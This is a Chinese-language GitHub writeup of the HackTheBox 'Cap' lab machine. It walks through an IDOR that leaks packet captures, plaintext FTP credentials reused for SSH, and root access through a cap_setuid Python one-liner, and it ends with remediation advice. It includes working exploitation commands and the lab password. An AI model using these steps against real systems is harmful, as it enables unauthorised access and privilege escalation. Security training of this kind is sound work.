elmuallem994/HTB-Cap-Writeup

GitHub: elmuallem994/HTB-Cap-Writeup

一份 HackTheBox Cap 机器的渗透测试实战教程,演示了 IDOR 漏洞利用、数据包凭据提取和 Linux capabilities 提权的完整流程。

Stars: 0 | Forks: 0

# 🏴‍☠️ HackTheBox — Cap Writeup ![Platform](https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat-square&logo=hackthebox&logoColor=black) ![OS](https://img.shields.io/badge/OS-Linux-blue?style=flat-square&logo=linux&logoColor=white) ![Status](https://img.shields.io/badge/Status-Retired-red?style=flat-square) ## 📋 摘要 Cap 是一台简单的 Linux 机器,运行着一个基于 Web 的**安全仪表盘** (Gunicorn/Python),该仪表盘执行包括网络数据包捕获在内的管理功能。获取 root 权限的路径包含三个阶段: 1. **IDOR**(不安全的直接对象引用)漏洞允许访问其他用户的数据包捕获。 2. 捕获文件包含**明文 FTP 凭据**,这些凭据被重复用于 SSH,从而获得了初始立足点。 3. 被滥用的错误配置的 **Linux capability**(Python 二进制文件上的 `cap_setuid`)被用来提权至 **root**。 **练习的技能:** Web 枚举 · IDOR 漏洞利用 · 数据包捕获分析 (Wireshark) · Linux capabilities 提权 ## 🗺️ 目录 - [信息收集](#-reconnaissance) - [Web 枚举](#-web-enumeration) - [漏洞 1 — IDOR](#-vulnerability-1--idor) - [数据包分析](#-packet-analysis) - [立足点 — SSH 访问](#-foothold--ssh-access) - [权限提升 — Linux Capabilities](#-privilege-escalation--linux-capabilities) - [关键总结](#-key-takeaways) ## 🔍 信息收集 首先使用 `nmap` 扫描来识别开放的端口和运行的服务。 ``` # -sC : 运行默认脚本 -sV : 检测服务版本 -oN : 保存输出 nmap -sC -sV -oN cap_initial.txt ``` **结果:** | 端口 | 服务 | 版本 | |------|---------|---------| | 21 | FTP | vsftpd 3.0.3 | | 22 | SSH | OpenSSH 8.2p1 (Ubuntu) | | 80 | HTTP | Gunicorn ("Security Dashboard") | 全端口扫描 (`-p-`) 确认没有隐藏的其他端口。 ``` nmap -p- --min-rate=1000 -oN cap_allports.txt ``` ![nmap 扫描](https://static.pigsec.cn/wp-content/uploads/repos/cas/ca/cab56cc1d718bc59944985a2940cca95ba1f4c7c674b8e4867296c0c2bc28693.png) 端口 80 上的 HTTP 服务器是最有潜力的入口点。 ## 🌐 Web 枚举 浏览 `http://` 显示了一个**安全仪表盘**,并且已经以用户 **Nathan** 的身份登录——无需任何凭据。 左侧边栏展示了管理功能: - **安全快照 (5 Second PCAP + Analysis)** — 捕获实时网络流量 - **IP 配置** — 运行 `ifconfig` - **网络状态** — 运行 `netstat` ![仪表盘](https://static.pigsec.cn/wp-content/uploads/repos/cas/26/268a06d9e96fcf35b0066dce7936ab28446c564db22e540c03b4eef7095b90c6.png) ## 🎯 漏洞 1 — IDOR 点击**安全快照**执行了捕获,并在以下格式的 URL 处显示结果: ``` http:///data/1 ``` 捕获 ID (`1`) 是**顺序递增**的,这表明之前用户的捕获记录可能依然存在。手动将 ID 修改为 `0`: ``` http:///data/0 ``` ...返回了**另一个不同的捕获记录**(72 个数据包对比 9 个数据包),这证明该应用程序没有验证请求资源的归属权。 ![IDOR](https://static.pigsec.cn/wp-content/uploads/repos/cas/6d/6df30f8315a4b778d65a6c43f9f4dad614cf5450db7aa3166938c8767565d77c.png) 下载了位于 `/data/0` 的捕获文件 (`0.pcap`) 以供分析。 ## 📦 数据包分析 在 **Wireshark** 中打开 `0.pcap` 并应用显示过滤器以分离出 FTP 流量: ``` ftp ``` 由于 **FTP 以明文形式传输凭据**,用户名和密码完全可读: ``` Request: USER nathan Request: PASS Buck3tH4TF0RM3! Response: 230 Login successful. ``` ![wireshark](https://static.pigsec.cn/wp-content/uploads/repos/cas/6a/6a107cd8aac1b150845c266c8d964c7594e015b6c577d2a15827139cb5ff72ae.png) **发现的凭据:** | 字段 | 值 | |-------|-------| | 用户名 | `nathan` | | 密码 | `Buck3tH4TF0RM3!` | ## 🚪 立足点 — SSH 访问 FTP 的凭据被**重复使用**于 SSH 访问(这是现实世界中常见的错误): ``` ssh nathan@ # 密码: Buck3tH4TF0RM3! ``` 成功以 `nathan` 身份登录。获取了 user flag: ``` nathan@cap:~$ cat user.txt 5968573x xxxxxxxxxxxxxxxxxxxxxxx88 # (redacted) ``` ![立足点](https://static.pigsec.cn/wp-content/uploads/repos/cas/52/5263d6bb8b31d08b2cc54a831ebbc6b577b8c68d8a6ec1af450a707eca87137c.png) ## 👑 权限提升 — Linux Capabilities 枚举具有特殊 Linux **capabilities** 的文件: ``` # -r : 递归 2>/dev/null : 抑制权限错误 getcap -r / 2>/dev/null ``` **关键发现:** ``` /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip ``` 分配此 capability 可能是为了让仪表盘能够捕获数据包(这需要提升的权限),但它却开启了一条直接通往 root 的路径。 **漏洞利用** — 使用 Python 将 UID 设置为 0 并生成一个 shell: ``` /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` 结果: ``` root@cap:~# id uid=0(root) gid=1001(nathan) groups=1001(nathan) ``` 成功获取 root 权限。获取了 root flag: ``` root@cap:~# cat /root/root.txt ``` ![root](https://static.pigsec.cn/wp-content/uploads/repos/cas/e2/e2a44459f6782f12061eb21826b45ec09c007bb85f1bf4550dfa6e6708ababe9.png) ## 🎓 关键总结 | # | 经验教训 | |---|--------| | 1 | **加密不是可选项** — 明文 FTP 泄露了登录凭据。使用 SFTP/FTPS 本可以防止这种情况。 | | 2 | **始终验证授权** — IDOR 的存在是因为应用程序从未检查过资源的归属权。 | | 3 | **最小权限原则至关重要** — 为 Python 分配 `cap_setuid` 权限过大,并开启了一条通往 root 的路径。 | | 4 | **密码重用是危险的** — 同一个 FTP 密码也能用于 SSH。 | ## 🛡️ 修复建议 | 漏洞 | 修复方案 | |---------------|-----| | IDOR | 实施服务器端授权检查;验证请求用户是否拥有该资源。 | | 明文 FTP | 将 FTP 替换为 SFTP/FTPS,以加密传输中的凭据。 | | Python 上的 cap_setuid | 移除该 capability;改为通过专门的、受限的服务来运行数据包捕获。 | ## 🛠️ 使用的工具 `nmap` · `Firefox` · `Wireshark` · `ssh` · `getcap` · `python3`

本文出于教育目的编写。所有测试均在授权的 HackTheBox 实验室环境中进行。

标签:CSV导出, CTI, StruQ, XXE攻击, 内存分配, 协议分析, 权限提升, 网络安全, 逆向工具, 隐私保护, 靶机攻略